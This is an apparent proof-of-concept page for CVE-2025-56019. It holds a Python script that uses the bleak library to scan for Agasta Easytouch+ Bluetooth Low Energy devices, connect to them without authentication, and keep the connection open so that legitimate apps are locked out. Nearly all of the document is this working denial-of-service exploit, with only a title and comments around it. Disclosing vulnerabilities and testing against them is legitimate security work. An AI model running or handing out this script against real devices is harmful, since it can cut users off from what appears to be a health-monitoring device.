CVE-2025-56019 Agasta Easytouch+ BLE未授权访问拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-56019 - Agasta Easytouch+ BLE Unauthorized Access DoS PoC This PoC demonstrates how an attacker can establish an unauthorized BLE connection to Agasta Easytouch+ devices, causing a denial of service for legitimate applications. """ import asyncio from bleak import BleakScanner, BleakClient # Target device name pattern for Agasta Easytouch+ TARGET_DEVICE_NAME = "Easytouch" async def scan_and_identify_target(): """Scan for nearby BLE devices and identify Agasta Easytouch+ device""" print("[*] Scanning for nearby BLE devices...") devices = await BleakScanner.discover() for device in devices: if device.name and TARGET_DEVICE_NAME.lower() in device.name.lower(): print(f"[+] Target device found: {device.name} ({device.address})") return device print("[-] No Agasta Easytouch+ device found in range") return None async def exploit_ble_unauthorized_access(target_device): """ Establish unauthorized BLE connection without authentication, causing legitimate applications to be unable to connect (DoS) """ print(f"[*] Attempting unauthorized connection to {target_device.address}...") try: # Connect without any authentication - this is the core vulnerability async with BleakClient(target_device.address) as client: print(f"[+] Unauthorized connection established successfully!") print(f"[+] Connection is active. Legitimate apps cannot connect now.") print(f"[+] DoS condition achieved - keeping connection alive...") # Keep the connection alive to maintain DoS condition while await client.is_connected(): print(f"[*] Connection still active. Press Ctrl+C to release.") await asyncio.sleep(5) except Exception as e: print(f"[-] Connection failed: {e}") async def main(): """Main exploit function""" print("=" * 60) print("CVE-2025-56019 PoC - Agasta Easytouch+ BLE DoS") print("=" * 60) target = await scan_and_identify_target() if target: await exploit_ble_unauthorized_access(target) if __name__ == "__main__": # Requirements: pip install bleak asyncio.run(main())